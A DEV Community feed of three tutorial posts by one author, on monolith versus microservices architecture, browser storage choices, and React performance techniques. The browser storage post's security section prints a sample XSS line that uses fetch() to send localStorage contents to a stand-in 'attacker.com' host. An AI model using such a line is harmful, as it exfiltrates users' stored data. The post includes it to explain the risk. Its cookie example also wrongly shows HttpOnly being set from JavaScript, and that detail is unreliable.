DEV Community: Wandana Maddumage

Monolithic Architecture vs Microservices Architecture: Which One Should You Choose?

Wandana Maddumage — Tue, 10 Nov 2026 17:24:26 +0000

When building a software application, one of the most important decisions developers make is choosing the right architecture.

As an application grows, its architecture affects how developers organize code, maintain features, deploy updates, handle failures, and scale the system.

Two widely used architectural approaches are Monolithic Architecture and Microservices Architecture.

Microservices are often associated with modern, scalable applications, while monolithic applications are sometimes considered outdated or difficult to maintain. However, this comparison is not as simple as it seems.

Both architectures have advantages and disadvantages. Choosing the right one depends on the application's requirements, complexity, development team, infrastructure, and long-term goals.

Let's understand how they work and when to use each approach.

1. What Is Monolithic Architecture?

A monolithic architecture is a software design approach in which an application is developed, packaged, and deployed as a single unit.

The application may contain multiple modules, such as authentication, product management, order processing, payment processing, and inventory management. However, these modules operate within the same application.

Consider an e-commerce application.

It might contain the following modules:

Authentication and user management
Product catalog
Shopping cart
Checkout
Payment processing
Order management
Inventory management
Delivery management

In a monolithic application, all these modules are part of one backend application.

How Does It Work?

When a customer places an order, the application can communicate with its internal modules through method calls.

For example:

The customer adds products to the cart.
The checkout module validates the cart.
The inventory module checks product availability.
The payment module processes the payment.
The order module creates the order.

All these operations happen inside the same application.

Example: Monolithic Project Structure

A Spring Boot monolithic application might have the following structure:

ecommerce-backend/
│
└── src/main/java/com/example/ecommerce/
    │
    ├── auth/
    ├── catalog/
    ├── cart/
    ├── checkout/
    ├── payment/
    ├── order/
    ├── inventory/
    └── delivery/

Although the application contains multiple modules, they are deployed together as one application.

Advantages of Monolithic Architecture

1. Simpler Development

Developers can work within one codebase without managing multiple independent services.

2. Easier Debugging

Since the application runs as one unit, debugging and tracing execution across modules can be relatively straightforward.

3. Simple Deployment

The application can be packaged and deployed as a single artifact.

4. Easier Communication

Modules can communicate through internal method calls without requiring network requests between services.

5. Lower Infrastructure Complexity

A monolithic application generally requires fewer infrastructure components than a distributed microservices system.

Disadvantages of Monolithic Architecture

1. Scaling Limitations

If one module requires more resources, scaling the entire application may be necessary.

2. Increasing Codebase Complexity

As the application grows, poorly organized code can become difficult to understand and maintain.

3. Deployment Dependencies

Even a small change in one module may require deploying the entire application.

4. Potentially Larger Failure Impact

A serious application-level failure can affect the entire system.

5. Technology Limitations

Modules generally share the same runtime and application technology stack, making independent technology choices more difficult.

However, these disadvantages are not inevitable. Good modular design can significantly improve the maintainability of a monolithic application.

2. What Is Microservices Architecture?

Microservices architecture is an approach in which an application is divided into multiple small, independently deployable services.

Each service is responsible for a specific business capability and communicates with other services through well-defined interfaces.

Unlike a traditional monolithic application, microservices do not need to run inside one application process.

Let's consider the same e-commerce application.

Instead of building one backend application, we can divide it into separate services:

Authentication Service
Product Service
Cart Service
Order Service
Payment Service
Inventory Service
Delivery Service

Each service can be developed, deployed, and scaled independently.

How Does It Work?

Imagine a customer placing an order.

The frontend sends a request to the API Gateway.
The Order Service receives the order request.
The Order Service communicates with the Inventory Service to check availability.
The Payment Service processes the payment.
The Order Service updates the order status.
The Notification Service sends an order confirmation.

Services communicate through mechanisms such as REST APIs, gRPC, or asynchronous messaging.

Example: Microservices Project Structure

ecommerce/
│
├── api-gateway/
│
├── auth-service/
│
├── product-service/
│
├── cart-service/
│
├── order-service/
│
├── payment-service/
│
├── inventory-service/
│
└── delivery-service/

Each service can have its own codebase, deployment pipeline, and database.

Advantages of Microservices Architecture

1. Independent Deployment

Developers can deploy changes to one service without necessarily redeploying the entire system.

2. Independent Scaling

If the Product Service receives significantly more traffic than other services, it can be scaled independently.

3. Technology Flexibility

Different services can use different programming languages, frameworks, or technologies when there is a valid reason.

4. Better Team Independence

Different teams can own different services and work on them independently.

5. Failure Isolation

With proper fault-tolerance mechanisms, failures in one service can be prevented from cascading throughout the system.

Disadvantages of Microservices Architecture

1. Increased Complexity

Developers must manage multiple services, deployments, configurations, and communication channels.

2. Network Communication

Unlike internal method calls, service-to-service communication happens over a network. This introduces latency and potential network failures.

3. Distributed Data Management

Maintaining data consistency across multiple services can be challenging.

4. More Infrastructure Requirements

Microservices often require API gateways, service discovery, centralized logging, monitoring, message brokers, and container orchestration.

5. Difficult Debugging

A single user request might travel through several services. Tracing problems across them requires distributed tracing and centralized observability.

Microservices provide flexibility, but that flexibility comes with operational responsibility.

3. Monolithic Architecture vs Microservices Architecture

Let's compare both approaches.

Feature	Monolithic	Microservices
Application structure	One application	Multiple services
Codebase	Usually one	Multiple
Deployment	Together	Independently
Communication	Internal method calls	APIs and messaging
Scaling	Usually entire application	Individual services
Database	Often shared	Often independently owned
Technology stack	Usually shared	Can vary
Testing	Relatively straightforward	More complex
Infrastructure	Simpler	More complex
Initial development	Generally faster	Generally slower
Maintenance	Depends on modularity	Depends on service boundaries

Neither architecture is automatically better than the other.

The right choice depends on what the application needs.

4. Understanding Modular Monolithic Architecture

There is another architectural approach worth understanding: the Modular Monolith.

A modular monolith combines the simplicity of monolithic deployment with the organizational benefits of modular design.

Instead of placing all application logic into one large, interconnected codebase, developers divide the application into well-defined business modules.

For example:

ecommerce-backend/
│
└── src/main/java/com/example/ecommerce/
    │
    ├── auth/
    │   ├── controller/
    │   ├── service/
    │   ├── repository/
    │   └── entity/
    │
    ├── catalog/
    │   ├── controller/
    │   ├── service/
    │   ├── repository/
    │   └── entity/
    │
    ├── order/
    │   ├── controller/
    │   ├── service/
    │   ├── repository/
    │   └── entity/
    │
    └── payment/
        ├── controller/
        ├── service/
        ├── repository/
        └── entity/

Each module has its own responsibilities and internal implementation.

Modules communicate through clearly defined interfaces rather than accessing each other's internal implementation directly.

Why Is This Important?

Imagine the Order module needs to interact with the Payment module.

Instead of directly accessing the Payment module's database repository, the Order module should communicate through an exposed service interface.

This reduces tight coupling and makes individual modules easier to understand, test, and potentially extract into separate services later.

A modular monolith is particularly useful when:

The application is growing.
The development team is relatively small.
The system has multiple business domains.
Independent deployment is not yet necessary.
Developers want to avoid premature distributed-system complexity.

It offers a practical balance between maintainability and simplicity.

5. When Should You Choose Monolithic Architecture?

A monolithic architecture is often a good choice when:

You are building an MVP or a new product.
The development team is small.
The business requirements are still evolving.
The application does not require independent service scaling.
You want to minimize infrastructure complexity.
You need to deliver features quickly.

Starting with a monolith does not mean the application cannot evolve.

A well-designed monolith can support significant business growth.

6. When Should You Choose Microservices Architecture?

Microservices may be a better choice when:

The application has multiple independent business domains.
Different teams need to own and deploy services independently.
Different components have significantly different scaling requirements.
Independent deployment is an important business requirement.
The organization has the infrastructure and expertise to operate distributed systems.
There is a clear business or technical reason to separate services.

However, splitting an application into microservices simply because the application is becoming larger is not always the right decision.

Sometimes, improving the existing modular architecture is enough.

7. Can You Start With a Monolith and Move to Microservices Later?

Absolutely.

In fact, this can be a sensible strategy for many applications.

Start with a modular monolith, establish clear business boundaries, and identify which modules genuinely need independent deployment or scaling.

When the need arises, individual modules can be extracted into separate services.

For example:

Initial Architecture:

          E-commerce Backend
                 |
      -----------------------
      |      |      |       |
    Order  Payment Inventory Delivery


Future Architecture:

             API Gateway
                  |
       -------------------------
       |       |       |       |
     Order  Payment Inventory Delivery
    Service Service  Service  Service

This transition should be gradual.

A useful approach is the Strangler Fig Pattern, where new functionality is progressively moved into independent services while the existing application continues operating.

This avoids the risks of rewriting the entire application at once.

8. Common Mistakes When Choosing an Architecture

Here are some mistakes developers and organizations should avoid.

1. Choosing Microservices Because They Are Popular

Microservices are not automatically the best solution for every modern application.

2. Building a Monolith Without Module Boundaries

A monolith can become difficult to maintain if every module depends directly on every other module.

3. Sharing One Database Across Microservices Without Clear Ownership

Independent services should generally own their data. Sharing database tables across services creates tight coupling.

4. Ignoring Operational Complexity

Microservices require monitoring, logging, distributed tracing, security, deployment automation, and failure-handling strategies.

5. Premature Optimization

Don't introduce complexity to solve scaling problems that do not exist yet.

Good architecture should solve actual problems, not hypothetical ones.

9. Final Thoughts: Architecture Should Follow Business Needs

Monolithic and microservices architectures both have important roles in modern software development.

A monolithic architecture offers simplicity, easier development, and straightforward deployment. Microservices offer independent deployment, flexibility, and the ability to scale individual business capabilities.

However, architecture is not about choosing the most complicated or fashionable technology.

It is about making engineering decisions that support the application's current requirements while allowing it to evolve.

For many projects, starting with a well-structured modular monolith is a practical approach. As the business grows and genuine technical requirements emerge, specific modules can be extracted into microservices.

Build for today's requirements, maintain for tomorrow, and scale when the business needs it.

The best architecture is not necessarily the one with the most services. It is the one your team can reliably build, understand, operate, and evolve.

The Web Developer’s Guide to Browser Storage: LocalStorage, SessionStorage, and Cookies

Wandana Maddumage — Tue, 02 Jun 2026 03:01:59 +0000

We’ve all been there: You're building a web app, and you need to store a piece of data. Maybe it’s a user’s preferred theme, a half-filled form, or an authentication token. You know it belongs in the browser, but then the inevitable choice hits you:

Do I drop this in LocalStorage, stash it in SessionStorage, or bake a cookie?

It’s easy to treat these three as interchangeable buckets of data, but picking the wrong one can lead to broken user experiences, sluggish performance, or worse—gaping security holes.

Let’s break down how these browser storage mechanisms actually work under the hood, when to use them, and the architectural trade-offs you need to consider.

1. LocalStorage: The Long-Term Vault

Think of localStorage as a digital storage unit. Once you put something in there, it stays there until you explicitly go back and delete it.

// Quick Example: Storing and retrieving a theme preference
localStorage.setItem('theme', 'dark');
const userTheme = localStorage.getItem('theme');

The Architecture

Persistence: Practically infinite. Data survives page refreshes, closing tabs, and even completely restarting the browser or the device.

Capacity: Generous by web standards—usually around 5MB to 10MB depending on the browser.

Scope: It is strictly bound by the Same-Origin Policy (same protocol, domain, and port). Data stored by https://mysite.com cannot be read by https://othersite.com.

Best Used For

User Interface State: Saving non-sensitive preferences like dark mode vs. light mode or a collapsed/expanded sidebar state.

Performance Optimization: Caching static, non-sensitive data (like a list of country codes) to reduce API calls on page load.

Draft Saving: Storing an unsubmitted blog post or comment so the user doesn’t lose their progress if their browser crashes.

2. SessionStorage: The Temporary Workbench

If LocalStorage is a storage unit, SessionStorage is a temporary workbench. It’s incredibly useful while you’re actively working on a specific task, but the moment you walk out of the room, everything is cleared away.

// Quick Example: Tracking a multi-step checkout progress
sessionStorage.setItem('currentStep', 'step-3');

The Architecture

Persistence: Data lasts only for the duration of the page session.

The "Tab" Rule: SessionStorage is unique to the specific browser tab. If you open https://mysite.com in Tab A, and then open the exact same URL in Tab B, they will have completely isolated SessionStorage buckets. Closing the tab wipes that data forever.

Capacity: Matches LocalStorage, topping out at around 5MB.

Best Used For

Multi-Page Wizards: Carrying data across a multi-step checkout or registration form as the user clicks "Next" and "Back."

Tab-Specific States: Keeping track of temporary filters or search parameters on a dashboard that shouldn’t bleed over if the user opens a second tab to look at something else.

3. Cookies: The Messenger

Cookies are the veterans of client-side storage. Unlike LocalStorage and SessionStorage—which exist purely for the client’s use—cookies were explicitly designed to travel back and forth between the browser and the server with every single network request.

// Quick Example: Setting a cookie (though typically done via Server headers)
document.cookie = "user_session=abc123xyz; expires=Fri, 31 Dec 2027 23:59:59 GMT; Secure; HttpOnly";

The Architecture
Persistence: Highly customizable. You can set a specific expiration date, or omit it entirely to create a "session cookie" that expires when the browser closes.

Capacity: Tiny. They max out at about 4KB total per domain.

The Network Cost: Because cookies automatically hitch a ride on every HTTP request (images, stylesheets, API calls), large or bloated cookies will actively degrade your application's network performance.

Best Used For
Authentication and Session Management: Telling the server "Hey, I'm logged in as User 123" securely.

Server-Side Rendering (SSR): Because cookies are sent with the initial document request, frameworks like Next.js or Remix can read them instantly to render personalized pages on the server before sending them to the browser.

Summary at a Glance

⚠️ The Architectural Trap: The Security Trade-off

There is a golden rule that every front-end and full-stack engineer must memorize: never store sensitive data (like JWTs, passwords, or PII) in LocalStorage or SessionStorage.

Both of these mechanisms are completely accessible via synchronous JavaScript. If your website falls victim to a Cross-Site Scripting (XSS) attack—where a rogue third-party script or a compromised npm package runs malicious code on your site—an attacker can steal your user's entire data payload with a single line of code:

// The line an XSS attacker loves to execute:
fetch('https://attacker.com/steal?data=' + JSON.stringify(localStorage));

The Fix: Secure Cookies
For highly sensitive data like authorization tokens, the industry standard is to use Cookies configured with specific security flags:

HttpOnly: This flag completely blocks client-side JavaScript from reading or modifying the cookie, neutralizing XSS thefts.

Secure: Ensures the cookie is only sent over encrypted HTTPS connections.

SameSite=Strict or SameSite=Lax: Protects your users against Cross-Site Request Forgery (CSRF) attacks.

Final Thoughts

Choosing the right storage mechanism is all about understanding the lifecycle of your data and who needs access to it.

If your data is heavy, safe, and needs to stick around, Local Storage is your friend. If it’s temporary and tied to a single task, lean on sessionStorage. If the server needs to know about it securely, use cookies.

What browser storage challenges have you run into lately? Let's discuss in the comments below!

How to Increase and Optimize Performance in a React Application

Wandana Maddumage — Mon, 22 Dec 2025 04:18:01 +0000

Performance optimization is a crucial part of building modern, scalable React applications. A fast, smooth UI boosts user experience and retention, especially as your app grows in size and complexity. This article dives into best practices and strategies to improve the performance of your React applications.

1. Use React's Built-in Memoization
React provides several built-in tools to prevent unnecessary re-renders:

🔹 React.memo()
Use this to wrap functional components so that they only re-render when props change.jsx

const MyComponent = React.memo(({ value }) => {
  return <div>{value}</div>;
});

🔹 useMemo() and useCallback()
Use these to memoize functions and computed values inside your components.

const expensiveValue = useMemo(() => computeExpensiveValue(data), [data]);
const handleClick = useCallback(() => doSomething(), []);

2. Code Splitting with React.lazy and Suspense
Code splitting helps load parts of your app only when needed, reducing initial load time.

const LazyComponent = React.lazy(() => import('./LazyComponent'));

function App() {
  return (
    <Suspense fallback={<div>Loading...</div>}>
      <LazyComponent />
    </Suspense>
  );
}

3. Bundle Optimization
Reduce the final bundle size by:

Removing unused dependencies
Using tree-shaking
Importing only what you use from libraries like Lodash or Material-UI

// Bad
import _ from 'lodash';

// Good
import debounce from 'lodash/debounce';

Use tools like:

Webpack Bundle Analyzer
Source Map Explorer

4. Virtualise Long Lists
Rendering long lists can be expensive. Libraries like react-window or react-virtualized render only the visible items.

import { FixedSizeList as List } from 'react-window';

<List
  height={300}
  itemCount={1000}
  itemSize={35}
  width={300}
>
  {({ index, style }) => <div style={style}>Item {index}</div>}
</List>

5. Avoid Anonymous Functions in JSX
Defining functions inline in JSX can cause unnecessary re-renders.

// ❌ Not optimal
<button onClick={() => doSomething()}>Click me</button>

// ✅ Better
const handleClick = () => doSomething();
<button onClick={handleClick}>Click me</button>

6. Minimize Re-renders
Use tools like:
React.memo()
shouldComponentUpdate (class components)
Profiling with React DevTools to identify unnecessary renders

Use the Profiler API React DevTools has a Profiler tab to visualize rendering performance.
Find which components render frequently
Optimize or memoize them
Remove redundant state or context updates

8. Use Server-side Rendering (SSR) or Static Site Generation (SSG)
Frameworks like Next.js provide SSR and SSG capabilities to improve time-to-first-byte and SEO.

// pages/index.tsx in Next.js
export async function getStaticProps() {
  const data = await fetchData();
  return { props: { data } };
}

9. Use Efficient State Management
Large global state trees can cause performance issues.

Use React Context wisely (avoid passing large data)
Use lightweight state libraries like Zustand, Jotai, or Recoil
For large apps, consider Redux Toolkit with createSlice for optimized patterns

10. Lazy Load Images and Components
Use libraries like:

react-lazyload
Native loading="lazy" for images

<img src="/image.jpg" loading="lazy" alt="example" />

Conclusion
Optimizing a React application is about balancing performance, maintainability, and scalability. Start by profiling your app, identifying bottlenecks, and applying these techniques selectively. With thoughtful optimization, your React app can remain snappy and delightful even as it grows.